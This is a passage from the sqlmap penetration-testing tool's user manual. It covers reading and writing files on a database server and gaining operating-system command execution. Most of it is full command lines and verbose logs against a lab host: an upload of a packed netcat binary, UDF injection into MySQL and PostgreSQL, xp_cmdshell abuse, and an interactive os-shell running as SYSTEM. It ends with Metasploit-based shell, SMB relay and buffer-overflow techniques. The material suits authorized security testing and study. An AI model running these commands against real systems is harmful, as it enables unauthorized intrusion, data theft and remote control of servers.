[hh:mm:04] [INFO] fetching file: 'C:/example.txt'
|
|
[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:04] [DEBUG] query: CREATE TABLE sqlmapfile(data bytea)
|
|
[hh:mm:04] [DEBUG] loading the content of file 'C:/example.txt' into support table
|
|
[hh:mm:04] [DEBUG] query: COPY sqlmapfile(data) FROM 'C:/example.txt'
|
|
[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(COUNT(data) AS CHARACTER(10000)), CHR(32)) FROM
|
|
sqlmapfile
|
|
[hh:mm:04] [INFO] retrieved: 1
|
|
[hh:mm:04] [DEBUG] performed 6 queries in 0 seconds
|
|
[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(ENCODE(data, CHR(98)||CHR(97)||CHR(115)||CHR(101)
|
|
||CHR(54)||CHR(52)) AS CHARACTER(10000)), CHR(32)) FROM sqlmapfile OFFSET 0 LIMIT 1
|
|
[hh:mm:04] [INFO] retrieved: VGhpcyBpcyBhIHRleHQgZmlsZQ==
|
|
[hh:mm:22] [DEBUG] performed 203 queries in 18 seconds
|
|
[hh:mm:22] [DEBUG] cleaning up the database management system
|
|
[hh:mm:22] [DEBUG] removing support tables
|
|
[hh:mm:22] [DEBUG] query: DROP TABLE sqlmapfile
|
|
C:/example.txt file saved to: '/home/inquis/sqlmap/output/172.16.213.131/files/C__example.txt'
|
|
|
|
[hh:mm:22] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/172.16.213.131'
|
|
|
|
$ cat output/172.16.213.131/files/C__example.txt
|
|
This is a text file
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target to
|
|
retrieve a binary file:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
|
|
--read-file "C:\example.exe" --union-use -v 1
|
|
|
|
[...]
|
|
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
web server operating system: Windows 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:49] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:49] [INFO] confirming full inband sql injection on parameter 'name'
|
|
[hh:mm:49] [WARNING] the target url is not affected by an exploitable full inband sql
|
|
injection vulnerability
|
|
[hh:mm:49] [INFO] confirming partial (single entry) inband sql injection on parameter
|
|
'name' by appending a false condition after the parameter value
|
|
[hh:mm:49] [INFO] the target url is affected by an exploitable partial (single entry)
|
|
inband sql injection vulnerability
|
|
valid union: 'http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION
|
|
ALL SELECT NULL, NULL, NULL-- AND 'sjOfJ'='sjOfJ'
|
|
|
|
[hh:mm:49] [INFO] testing stacked queries support on parameter 'name'
|
|
[hh:mm:54] [INFO] the web application supports stacked queries on parameter 'name'
|
|
[hh:mm:54] [INFO] fetching file: 'C:/example.exe'
|
|
[hh:mm:54] [INFO] the SQL query provided returns 3 entries
|
|
C:/example.exe file saved to: '/home/inquis/sqlmap/output/172.16.213.131/files/
|
|
C__example.exe'
|
|
|
|
[hh:mm:54] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/
|
|
172.16.213.131'
|
|
|
|
$ ls -l output/172.16.213.131/files/C__example.exe
|
|
-rw-r--r-- 1 inquis inquis 2560 2009-MM-DD hh:mm output/172.16.213.131/files/C__example.exe
|
|
|
|
$ file output/172.16.213.131/files/C__example.exe
|
|
output/172.16.213.131/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Write a local file on the database server's file system
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-write-file</tt> and <tt>-</tt><tt>-dest-file</tt>
|
|
|
|
<p>
|
|
It is possible to upload a local file to the database server file system
|
|
when the back-end database management system is either MySQL, PostgreSQL
|
|
or Microsoft SQL Server, and the session user has the needed privileges to
|
|
abuse database specific functionalities and architectural weaknesses.
|
|
The file specified can be either a text or a binary file. sqlmap will
|
|
handle it automatically.
|
|
|
|
<p>
|
|
These techniques are detailed in the white paper
|
|
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf"
|
|
name="Advanced SQL injection to operating system full control">.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target to upload a binary UPX-compressed
|
|
file:
|
|
|
|
<tscreen><verb>
|
|
$ file /tmp/nc.exe.packed
|
|
/tmp/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
|
|
|
|
$ ls -l /tmp/nc.exe.packed
|
|
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed
|
|
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" --write-file \
|
|
"/tmp/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1
|
|
|
|
[...]
|
|
[hh:mm:29] [INFO] the back-end DBMS is MySQL
|
|
web server operating system: Windows 2003 or 2008
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:29] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:29] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:29] [INFO] retrieved: 5.0.67
|
|
[hh:mm:36] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:36] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:36] [INFO] retrieved: C
|
|
[hh:mm:36] [INFO] the back-end DBMS operating system is Windows
|
|
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
|
|
written on the back-end DBMS file system? [Y/n] y
|
|
[hh:mm:52] [INFO] retrieved: 31744
|
|
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
|
|
same size as the local file '/tmp/nc.exe.packed'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.4</bf> target to upload a text file:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 \
|
|
--write-file /etc/passwd --dest-file /tmp/writtenfrompgsql -v 1
|
|
|
|
[...]
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:01] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:01] [INFO] retrieved: 8.4.2
|
|
[hh:mm:07] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:07] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:07] [INFO] retrieved: 0
|
|
[hh:mm:07] [INFO] retrieved: 0
|
|
[hh:mm:07] [INFO] the back-end DBMS operating system is Linux
|
|
do you want confirmation that the file '/tmp/writtenfrompgsql' has been successfully
|
|
written on the back-end DBMS file system? [Y/n]
|
|
[hh:mm:14] [INFO] retrieved: 2264
|
|
[hh:mm:14] [INFO] the file has been successfully written and its size is 2264 bytes,
|
|
same size as the local file '/etc/passwd'
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect1>Operating system access
|
|
|
|
<sect2>Execute arbitrary operating system command
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-os-cmd</tt> and <tt>-</tt><tt>-os-shell</tt>
|
|
|
|
<p>
|
|
It is possible to execute arbitrary commands on the underlying operating
|
|
system when the back-end database management system is either MySQL,
|
|
PostgreSQL or Microsoft SQL Server, and the session user has the needed
|
|
privileges to abuse database specific functionalities and architectural
|
|
weaknesses.
|
|
|
|
<p>
|
|
On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality
|
|
explained above) a shared library (binary file) containing two
|
|
user-defined functions, <tt>sys_exec()</tt> and <tt>sys_eval()</tt>, then
|
|
it creates these two functions on the database and call one of them to
|
|
execute the specified command, depending on the user's choice to display
|
|
the standard output or not.
|
|
On Microsoft SQL Server, sqlmap abuses the <tt>xp_cmshell</tt> stored
|
|
procedure: if it's disabled, sqlmap re-enables it; if it does not exist,
|
|
sqlmap creates it from scratch.
|
|
|
|
<p>
|
|
If the user wants to retrieve the command standard output, sqlmap will use
|
|
one of the enumeration SQL injection techniques (blind or inband) to
|
|
retrieve it or, in case of stacked query SQL injection technique,
|
|
sqlmap will execute the command without returning anything to the user.
|
|
|
|
<p>
|
|
These techniques are detailed in the white paper
|
|
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf"
|
|
name="Advanced SQL injection to operating system full control">.
|
|
|
|
<p>
|
|
It is possible to specify a single command to be executed with the
|
|
<tt>-</tt><tt>-os-cmd</tt> option.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \
|
|
--os-cmd "whoami" -v 1
|
|
|
|
[...]
|
|
[hh:mm:05] [INFO] the back-end DBMS is PostgreSQL
|
|
web server operating system: Windows 2003 or 2008
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:05] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:05] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:05] [INFO] retrieved: 8.3.5,
|
|
[hh:mm:15] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:15] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:15] [INFO] retrieved: 1
|
|
[hh:mm:16] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:16] [INFO] testing if current user is DBA
|
|
[hh:mm:16] [INFO] retrieved: 1
|
|
[hh:mm:16] [INFO] checking if sys_exec UDF already exist
|
|
[hh:mm:16] [INFO] retrieved: 0
|
|
[hh:mm:18] [INFO] checking if sys_eval UDF already exist
|
|
[hh:mm:18] [INFO] retrieved: 0
|
|
[hh:mm:20] [INFO] creating sys_exec UDF from the binary UDF file
|
|
[hh:mm:20] [INFO] creating sys_eval UDF from the binary UDF file
|
|
do you want to retrieve the command standard output? [Y/n]
|
|
[hh:mm:35] [INFO] retrieved: w2k3dev\postgres
|
|
command standard output: 'w2k3dev\postgres'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
|
|
--os-cmd "whoami" --union-use -v 1
|
|
|
|
[...]
|
|
[hh:mm:58] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
web server operating system: Windows 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:58] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:58] [INFO] confirming full inband sql injection on parameter 'name'
|
|
[hh:mm:58] [WARNING] the target url is not affected by an exploitable full inband sql
|
|
injection vulnerability
|
|
[hh:mm:58] [INFO] confirming partial (single entry) inband sql injection on parameter 'name'
|
|
by appending a false condition after the parameter value
|
|
[hh:mm:58] [INFO] the target url is affected by an exploitable partial (single entry) inband
|
|
sql injection vulnerability
|
|
valid union: 'http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION
|
|
ALL SELECT NULL, NULL, NULL-- AND 'SonLv'='SonLv'
|
|
|
|
[hh:mm:58] [INFO] testing stacked queries support on parameter 'name'
|
|
[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'name'
|
|
[hh:mm:03] [INFO] testing if current user is DBA
|
|
[hh:mm:03] [INFO] checking if xp_cmdshell extended procedure is available, wait..
|
|
[hh:mm:09] [INFO] xp_cmdshell extended procedure is available
|
|
do you want to retrieve the command standard output? [Y/n]
|
|
[hh:mm:11] [INFO] the SQL query provided returns 1 entries
|
|
command standard output:
|
|
---
|
|
nt authority\network service
|
|
---
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
It is also possible to simulate a real shell where you can type as many
|
|
arbitrary commands as you wish. The option is <tt>-</tt><tt>-os-shell</tt> and has
|
|
the same TAB completion and history functionalities like
|
|
<tt>-</tt><tt>-sql-shell</tt>.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" \
|
|
--os-shell -v 2
|
|
|
|
[...]
|
|
[hh:mm:36] [INFO] the back-end DBMS is MySQL
|
|
web server operating system: Windows 2003 or 2008
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:36] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:36] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:36] [DEBUG] query: IFNULL(CAST(MID((VERSION()), 1, 6) AS CHAR(10000)), CHAR(32))
|
|
[hh:mm:36] [INFO] retrieved: 5.0.67
|
|
[hh:mm:37] [DEBUG] performed 49 queries in 1 seconds
|
|
[hh:mm:37] [DEBUG] query: SELECT SLEEP(5)
|
|
[hh:mm:42] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:42] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:42] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
|
|
[hh:mm:42] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
|
|
[hh:mm:42] [DEBUG] query: SELECT IFNULL(CAST(MID(@@datadir, 1, 1) AS CHAR(10000)), CHAR(32))
|
|
[hh:mm:42] [INFO] retrieved: C
|
|
[hh:mm:42] [DEBUG] performed 14 queries in 0 seconds
|
|
[hh:mm:42] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:42] [DEBUG] cleaning up the database management system
|
|
[hh:mm:42] [DEBUG] removing support tables
|
|
[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:42] [INFO] testing if current user is DBA
|
|
[hh:mm:42] [DEBUG] query: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=
|
|
(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64), 1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END)
|
|
[hh:mm:42] [INFO] retrieved: 1
|
|
[hh:mm:43] [DEBUG] performed 5 queries in 0 seconds
|
|
[hh:mm:43] [INFO] checking if sys_exec UDF already exist
|
|
[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
|
|
CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=CHAR(115,121,115,95,101,120,101,99))
|
|
THEN 1 ELSE 0 END)
|
|
[hh:mm:43] [INFO] retrieved: 0
|
|
[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
|
|
[hh:mm:43] [INFO] checking if sys_eval UDF already exist
|
|
[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
|
|
CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=CHAR(115,121,115,95,101,118,97,108))
|
|
THEN 1 ELSE 0 END)
|
|
[hh:mm:43] [INFO] retrieved: 0
|
|
[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
|
|
[hh:mm:43] [DEBUG] going to upload the binary file with stacked query SQL injection technique
|
|
[hh:mm:43] [DEBUG] creating a support table to write the hexadecimal encoded file to
|
|
[hh:mm:43] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:43] [DEBUG] query: CREATE TABLE sqlmapfile(data longblob)
|
|
[hh:mm:43] [DEBUG] encoding file to its hexadecimal string value
|
|
[hh:mm:43] [DEBUG] forging SQL statements to write the hexadecimal encoded file to the
|
|
support table
|
|
[hh:mm:43] [DEBUG] inserting the hexadecimal encoded file to the support table
|
|
[hh:mm:43] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (0x4d5a90 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xffcbff [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x490068 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x1c5485 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x14cc63 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x207665 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x5c5379 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x0e5bc2 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x505357 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
|
|
[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x696372 [...])
|
|
[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xdd8400 [...])
|
|
[hh:mm:44] [DEBUG] exporting the binary file content to file './libsqlmapudftxxgk.dll'
|
|
[hh:mm:44] [DEBUG] query: SELECT data FROM sqlmapfile INTO DUMPFILE './libsqlmapudftxxgk.dll'
|
|
[hh:mm:44] [DEBUG] cleaning up the database management system
|
|
[hh:mm:44] [DEBUG] removing support tables
|
|
[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:44] [INFO] creating sys_exec UDF from the binary UDF file
|
|
[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_exec
|
|
[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_exec RETURNS int SONAME 'libsqlmapudftxxgk.dll'
|
|
[hh:mm:44] [INFO] creating sys_eval UDF from the binary UDF file
|
|
[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_eval
|
|
[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_eval RETURNS string SONAME
|
|
'libsqlmapudftxxgk.dll'
|
|
[hh:mm:44] [DEBUG] creating a support table to write commands standard output to
|
|
[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapoutput
|
|
[hh:mm:44] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
|
|
[hh:mm:44] [INFO] going to use injected sys_eval and sys_exec user-defined functions for
|
|
operating system command execution
|
|
[hh:mm:44] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
|
|
os-shell> whoami
|
|
do you want to retrieve the command standard output? [Y/n]
|
|
[hh:mm:41] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('whoami'))
|
|
[hh:mm:41] [DEBUG] query: SELECT IFNULL(CAST(data AS CHAR(10000)), CHAR(32)) FROM
|
|
sqlmapoutput
|
|
[hh:mm:41] [INFO] retrieved: nt authority\system
|
|
[hh:mm:44] [DEBUG] performed 140 queries in 2 seconds
|
|
[hh:mm:44] [DEBUG] query: DELETE FROM sqlmapoutput
|
|
command standard output: 'nt authority\system'
|
|
|
|
os-shell> [TAB TAB]
|
|
copy del dir echo md mem move
|
|
net netstat -na ver whoami xcopy
|
|
|
|
os-shell> exit
|
|
[hh:mm:51] [INFO] cleaning up the database management system
|
|
[hh:mm:51] [DEBUG] removing support tables
|
|
[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapoutput
|
|
do you want to remove sys_exec UDF? [Y/n] n
|
|
do you want to remove sys_eval UDF? [Y/n] n
|
|
[hh:mm:04] [INFO] database management system cleanup finished
|
|
[hh:mm:04] [WARNING] remember that UDF dynamic-link library files saved on the file system
|
|
can only be deleted manually
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Now run it again, but specifying the <tt>-</tt><tt>-union-use</tt> to retrieve the
|
|
command standard output quicker, via UNION based SQL injection, when the
|
|
parameter is affected also by inband SQL injection vulnerability:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" \
|
|
--os-shell -v 2 --union-use
|
|
|
|
[...]
|
|
[hh:mm:16] [INFO] the back-end DBMS is MySQL
|
|
web server operating system: Windows 2003 or 2008
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:16] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:16] [INFO] confirming full inband sql injection on parameter 'id'
|
|
[hh:mm:16] [INFO] the target url is affected by an exploitable full inband sql injection
|
|
vulnerability
|
|
valid union: 'http://172.16.213.131/sqlmap/mysql/iis/get_int.aspx?id=1 UNION ALL SELECT
|
|
NULL, NULL, NULL# AND 528=528'
|
|
|
|
[hh:mm:16] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:16] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:16] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
|
|
MID((VERSION()), 1, 6),CHAR(117,114,115,75,117,102)), NULL# AND 3173=3173
|
|
[hh:mm:16] [DEBUG] performed 1 queries in 0 seconds
|
|
[hh:mm:16] [DEBUG] query: SELECT SLEEP(5)
|
|
[hh:mm:21] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:21] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:21] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
|
|
[hh:mm:21] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
|
|
[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
|
|
MID(@@datadir, 1, 1),CHAR(117,114,115,75,117,102)), NULL# AND 6574=6574
|
|
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
|
|
[hh:mm:21] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:21] [DEBUG] cleaning up the database management system
|
|
[hh:mm:21] [DEBUG] removing support tables
|
|
[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:21] [INFO] testing if current user is DBA
|
|
[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE
|
|
WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64),
|
|
1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# AND 19=19
|
|
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
|
|
[hh:mm:21] [INFO] checking if sys_exec UDF already exist
|
|
[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN
|
|
((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=
|
|
CHAR(115,121,115,95,101,120,101,99)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL#
|
|
AND 4900=4900
|
|
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
|
|
sys_exec UDF already exists, do you want to overwrite it? [y/N] n
|
|
[hh:mm:24] [INFO] checking if sys_eval UDF already exist
|
|
[hh:mm:24] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN
|
|
((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=
|
|
CHAR(115,121,115,95,101,118,97,108)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL#
|
|
AND 4437=4437
|
|
[hh:mm:24] [DEBUG] performed 1 queries in 0 seconds
|
|
sys_eval UDF already exists, do you want to overwrite it? [y/N] n
|
|
[hh:mm:25] [DEBUG] keeping existing sys_exec UDF as requested
|
|
[hh:mm:25] [DEBUG] keeping existing sys_eval UDF as requested
|
|
[hh:mm:25] [DEBUG] creating a support table to write commands standard output to
|
|
[hh:mm:25] [DEBUG] query: DROP TABLE sqlmapoutput
|
|
[hh:mm:25] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
|
|
[hh:mm:25] [INFO] going to use injected sys_eval and sys_exec user-defined functions for
|
|
operating system command execution
|
|
[hh:mm:25] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
|
|
os-shell> ipconfig
|
|
do you want to retrieve the command standard output? [Y/n]
|
|
[hh:mm:29] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('ipconfig'))
|
|
[hh:mm:29] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),IFNULL(CAST
|
|
(data AS CHAR(10000)), CHAR(32)),CHAR(117,114,115,75,117,102)), NULL FROM sqlmapoutput# AND
|
|
7106=7106
|
|
[hh:mm:29] [DEBUG] performed 1 queries in 0 seconds
|
|
[hh:mm:29] [DEBUG] query: DELETE FROM sqlmapoutput
|
|
command standard output:
|
|
---
|
|
|
|
Windows IP Configuration
|
|
|
|
|
|
Ethernet adapter Local Area Connection 2:
|
|
|
|
Connection-specific DNS Suffix . : localdomain
|
|
IP Address. . . . . . . . . . . . : 172.16.213.131
|
|
Subnet Mask . . . . . . . . . . . : 255.255.255.0
|
|
---Default Gateway . . . . . . . . . : 172.16.213.1
|
|
|
|
os-shell> exit
|
|
[hh:mm:41] [INFO] cleaning up the database management system
|
|
[hh:mm:41] [DEBUG] removing support tables
|
|
[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapoutput
|
|
do you want to remove sys_exec UDF? [Y/n] n
|
|
do you want to remove sys_eval UDF? [Y/n] n
|
|
[hh:mm:54] [INFO] database management system cleanup finished
|
|
[hh:mm:54] [WARNING] remember that UDF dynamic-link library files saved on the file system
|
|
can only be deleted manually
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see from this second example, sqlmap firstly check if the two
|
|
user-defined functions are already created, if so, it asks the user if he
|
|
wants to recreate them or keep them and save time.
|
|
|
|
|
|
<sect2>Prompt for an out-of-band shell, Meterpreter or VNC
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-os-pwn</tt>, <tt>-</tt><tt>-priv-esc</tt>, <tt>-</tt><tt>-msf-path</tt> and <tt>-</tt><tt>-tmp-path</tt>
|
|
|
|
<p>
|
|
It is possible to establish an <bf>out-of-band stateful TCP connection
|
|
between the user machine and the database server</bf> underlying operating
|
|
system. This channel can be an interactive command prompt, a Meterpreter
|
|
session or a graphical user interface (VNC) session as per user's choice.
|
|
sqlmap relies on Metasploit to create the shellcode and implements four
|
|
different techniques to execute it on the database server. These
|
|
techniques are:
|
|
<itemize>
|
|
<item>Database <bf>in-memory execution of the Metasploit's shellcode</bf>
|
|
via sqlmap own user-defined function <tt>sys_bineval()</tt>. Supported on
|
|
MySQL and PostgreSQL.
|
|
<item>Upload and execution of a Metasploit's <bf>stand-alone payload
|
|
stager</bf> via sqlmap own user-defined function <tt>sys_exec()</tt> on
|
|
MySQL and PostgreSQL or via <tt>xp_cmdshell()</tt> on Microsoft SQL
|
|
Server.
|
|
<item>Execution of Metasploit's shellcode by performing a <bf>SMB
|
|
reflection attack</bf> (<htmlurl
|
|
url="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx"
|
|
name="MS08-068">) with a UNC path request from the database server to
|
|
the user's machine where the Metasploit <tt>smb_relay</tt> server exploit
|
|
runs.
|
|
<item>Database in-memory execution of the Metasploit's shellcode by
|
|
exploiting <bf>Microsoft SQL Server 2000 and 2005
|
|
<tt>sp_replwritetovarbin</tt> stored procedure heap-based buffer
|
|
overflow</bf> (<htmlurl
|
|
url="http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx"
|
|
name="MS09-004">) with automatic DEP bypass.
|
|
</itemize>
|
|
|
|
<p>
|
|
Note that this feature is not supported by sqlmap running on Windows
|
|
because it relies on Metasploit's <tt>msfcli</tt> which is not
|
|
available for Windows.
|
|
|
|
<p>
|
|
These techniques are detailed in the white paper
|
|
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf"
|
|
name="Advanced SQL injection to operating system full control"> and in the
|
|
slide deck <htmlurl url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database"
|
|
name="Expanding the control over the operating system from the database">.
|
|
|
